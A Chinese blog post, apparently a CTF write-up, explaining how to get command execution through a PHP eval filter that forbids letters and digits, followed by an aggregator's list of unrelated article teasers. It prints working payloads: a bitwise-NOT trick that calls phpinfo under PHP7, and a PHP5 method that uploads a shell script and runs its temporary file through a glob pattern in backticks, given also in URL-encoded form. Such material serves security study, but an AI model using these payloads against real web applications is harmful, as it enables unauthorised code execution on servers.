无字母数字webshell之命令执行

news2024/11/25 4:23:37

文章目录

  • 无字母数字的webshell构造技巧
    • php7下简单解决问题
    • php5下解决问题
      • glob
      • 开始操作

无字母数字的webshell构造技巧

<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
}

分析这道题的限制:
1、webshell长度不能超过35位。
2、不能输入大小写字母、数字、_和$.

php7下简单解决问题

php7是允许($a)();执行动态函数,例如(‘phpinfo’)();所以,我们可以构造一个可以生成phpinfo这个字符串的php表达式即可。payload如下(不可见字符用url编码表示,其实也就是phpinfo取反为%8F%97%8F%96%91%99%90,当其再次取反,那么就是phpinfo):

(~%8F%97%8F%96%91%99%90)();
?code=(~%8F%97%8F%96%91%99%90)();

在这里插入图片描述

什么是取反呢?
回想计算机组成原理的原码、反码、补码。这里的反码才是取反。

php5下解决问题

尝试php7下的payload。显然是不可以的。
那我们不妨尝试其他方法。
在上传文件时,会在/tmp下生成一个临时文件,很快就被删除,那怎么处理?
现在要解决几个问题:怎么在临时文件没被删除时匹配到他?以怎样的方式匹配?以及怎么执行。
先创建一个文件上传,上传文件查看临时文件。

已经生成临时文件,那么如何匹配呢?下面分析。可以使用到.加空格加文件进行执行,就算没有权限一样可以执行。
那么接下来解决匹配文件名的问题。
多次观察发现临时文件的最后一位一次是大写,一次是小写,但在Linux下没有名字为大写的文件。
那么就要用的glob通配符了。

glob

?匹配任意一个字符。
* 匹配任意多个字符

匹配4位任意字符

????

排除第三位为.的

??[^.]?

查询ascii码和global规则之后发现,可以下面这样匹配大写字母

[@-[]

那么匹配临时文件就是

/tmp/????????[@-[]

开始操作

首先抓一个上传文件的包和web.php的包。
上传文件里面写入

#!/bin/bash/

id

在这里插入图片描述

将web.php的包改为POST方式,并且将上传文件的包中的Content-Type以及文件内容也放进web.php的包。并且利用get的方式传递参数。
get的参数code最终会走入eval中。
官方文档查eval函数发现要先把其闭合,再写自己的代码。并且<?php可以写成<?=。
get传递的参数为

?code=?><?=`. /???/????????[@-[]`;?>

又因为是通过url传递,不能传递空格等,那么只能使用url编码对?以及空格和;进行编码。空格可以使用+代替

?code=%3F%3E%3C%3F%3D%60%2E%20%2F%3F%3F%3F%2F%3F%3F%3F%3F%3F%3F%3F%3F%5B%40%2D%5B%5D%60%3B%3F%3E

在这里插入图片描述
在这里插入图片描述
在burp里可以不用转码。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2033261.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

应对FingerprintJS反爬:Selenium的破解策略与技术详解

目录 引言 FingerprintJS技术概述 技术原理 应用场景 应对策略 高级解决方案 代码实现与案例分析 去除webdriver特征 使用Undetected_chromedriver 案例分析&#xff1a;爬取目标网站数据 结论 引言 在现代互联网环境中&#xff0c;网站反爬技术日益成熟&#xff0…

分布式知识总结(基本概念)

文章收录在网站&#xff1a;http://hardyfish.top/ 文章收录在网站&#xff1a;http://hardyfish.top/ 文章收录在网站&#xff1a;http://hardyfish.top/ 文章收录在网站&#xff1a;http://hardyfish.top/ 基本概念 吞吐量 指系统在单位时间能够处理多少个请求 QPS 每秒…

【mars3d】加载pbf矢量瓦片的最佳方案介绍

矢量瓦片的目前最佳方案&#xff1a; 目前示例中提供了不同的矢量瓦片的加载方案 但是加载矢量瓦片pbf的最佳方案&#xff1a; 使用 TileServer GL 开源地图服务工具&#xff1a;https://github.com/maptiler/tileserver-gl &#xff0c; 它利用 MapLibre GL Native 进行服务…

day34——TCP和UDP的基础通信

一、网络通信之套接字 1.1 套接字通信原理 1.2 socket函数介绍 #include <sys/types.h> /* See NOTES */#include <sys/socket.h>int socket(int domain, int type, int protocol);功能&#xff1a;为通信创建一个端点&#xff0c;并返回该端点的文件描述…

Llama 3.1中文微调数据集已上线,超大模型一键部署

7 月的 AI 圈真是卷完小模型卷大模型&#xff0c;精彩不停&#xff01;大多数同学都能体验 GPT-4o、Mistral-Nemo 这样的小模型&#xff0c;但 Llama-3.1-405B 和 Mistral-Large-2 这样的超大模型让很多小伙伴犯了难。 别担心&#xff01;hyper.ai 官网在教程板块为大家提供了…

从AGV到立库,物流自动化的更迭与未来

AGV叉车 随着柔性制造系统的广泛应用&#xff0c;小批量、多批次的生产需求不断增强&#xff0c;“订单导向”生产已经成为趋势。这也让越来越多的企业认识到&#xff0c;产线的智能设备导入只是第一步&#xff0c;要想达到生产效率的最优解&#xff0c;物流系统的再优化必须提…

【redis的大key问题】

在使用 Redis 的过程中&#xff0c;如果未能及时发现并处理 Big keys&#xff08;下文称为“大Key”&#xff09;&#xff0c;可能会导致服务性能下降、用户体验变差&#xff0c;甚至引发大面积故障。 本文将介绍大Key产生的原因、其可能引发的问题及如何快速找出大Key并将其优…

Z 字形遍历二叉树

假设一个二叉树上各结点的权值互不相同。 我们就可以通过其后序遍历和中序遍历来确定唯一二叉树。 请你输出该二叉树的 ZZ 字形遍历序列----也就是说&#xff0c;从根结点开始&#xff0c;逐层遍历&#xff0c;第一层从右到左遍历&#xff0c;第二层从左到右遍历&#xff0c;…

Linux文本处理shell脚本

文本处理 在进行文本处理时&#xff0c;我们有一些常见的需求&#xff1a; 获取文本的行数、字数比较两段文本的不同之处查看文本的开头几行和最后几行在文本中查找字符串在文本中替换字符串 下面介绍如何在 shell 中做到这些事情。 文本统计&#xff1a;wc wc 是文本统计…

了解经典的 MPLS L3VPN 网络架构

1.多协议标签交换技术MPLS的概念 MPLS&#xff08;Multi-Protocol Label Switching&#xff0c;多协议标签交换技术&#xff09;,传统网络中就拥有了 3 种经典转发实现&#xff0c;它们分别是&#xff1a; L2 交换转发L2.5 标签转发L3 路由转发 MPLS 协议则作用于 L2.5 层&…

大数据-80 Spark 简要概述 系统架构 部署模式 与Hadoop MapReduce对比

点一下关注吧&#xff01;&#xff01;&#xff01;非常感谢&#xff01;&#xff01;持续更新&#xff01;&#xff01;&#xff01; 目前已经更新到了&#xff1a; Hadoop&#xff08;已更完&#xff09;HDFS&#xff08;已更完&#xff09;MapReduce&#xff08;已更完&am…

布隆过滤器将应用Redis缓存使用量降低100倍

文章目录 背景布隆过滤器介绍定义工作原理数据结构&#xff1a; Redis布隆过滤器实战总结 背景 由于在业务中用到了Redis用于存储一些关系信息&#xff0c;且对应的请求量比较大&#xff0c;为了防止缓存击穿导致数据库压力过大&#xff0c;一般我们都会采用将不存在的内容存储…

头狼择校小程序

综述介绍 头狼择校&#xff0c;是头狼择™高校的简称&#xff0c;我们专注高校、大学的择校。倡导先嗅就业再择校&#xff0c;是预约工具和对话平台。帮您嗅招办、嗅教授、嗅学姐&#xff0c;预约择校有关的老师、顾问&#xff0c;助力考大学和考研的“双考”学生及家长了解就…

C# OnnxRuntime部署LivePortrait实现快速、高质量的人像驱动视频生成

目录 效果 说明 项目 模型信息 代码 下载 效果 LivePortrait实现快速、高质量的人像驱动视频生成 说明 官网地址&#xff1a;https://github.com/KwaiVGI/LivePortrait 代码实现参考&#xff1a;https://github.com/hpc203/liveportrait-onnxrun 模型下载&#xff1a;…

【健康革命】让AI成为你的私人健身教练!

本文由 ChatMoney团队出品 现在市面上有很多男生和女生为了保持身材都进行疯狂的减肥&#xff0c;有些是靠吃减肥药来保持身材&#xff0c;有些是晚上不吃饭要控制&#xff0c;还有些疯狂且漫无目的健身&#xff1b;但往往以上几种都很伤身体的&#xff0c;毕竟身体健康是革命的…

历史库,成本与性能如何兼得?| OceanBase应用实践

随着数据量的迅猛增长&#xff0c;企业和组织在数据库管理方面遭遇的挑战愈发凸显。数据库性能逐渐下滑、存储成本节节攀升&#xff0c;以及数据运维复杂性的增加&#xff0c;这些挑战使得DBA和开发者在数据管理上面临更大的压力。 为了应对这些挑战&#xff0c;对数据生命周期…

简单的docker学习 第13章 CI/CD与Jenkins(下)

第13章 CI/CD 与 Jenkins 13.13 自由风格的 CI 操作(最终架构) 前面的架构存在的问题是&#xff0c;若有多个目标服务器都需要使用该镜像&#xff0c;那么每个目标服务器都需要在本地构建镜像&#xff0c;形成系统资源浪费。若能够在 Jenkins 中将镜像相撞构建好并推送到 Har…

Java属性重写问题

目录 属性重写 案例演示 多态练习 练习1 练习2 属性重写 ​​​​​​​ 属性没有重写之说&#xff0c;属性的值看编译类型。 instanceOf 比较操作符&#xff0c;用于判断对象的运行类型是否为某类型或者某类型的子类。 案例演示 父类base&#xff0c;有一个count属…

Collection和List集合

1.Collection集合 1.1数组和集合的区别【理解】 相同点 都是容器,可以存储多个数据 不同点 数组的长度是不可变的,集合的长度是可变的 数组可以存基本数据类型和引用数据类型 集合只能存引用数据类型,如果要存基本数据类型,需要存对应的包装类 1.2集合类体系结构【理解】 …

旧手机拍摄的视频模糊可以修复清晰吗?

你是否时常“考古”一些老电影、老动漫来回忆旧日时光&#xff1f;你是否也有一些珍贵的录像&#xff0c;带你重温过去的美好&#xff1f;然而&#xff0c;我们已经习惯了高清体验&#xff0c;回头再看曾经的旧影像&#xff0c;画质或许“渣”的让人不忍直视。 旧手机像素不好&…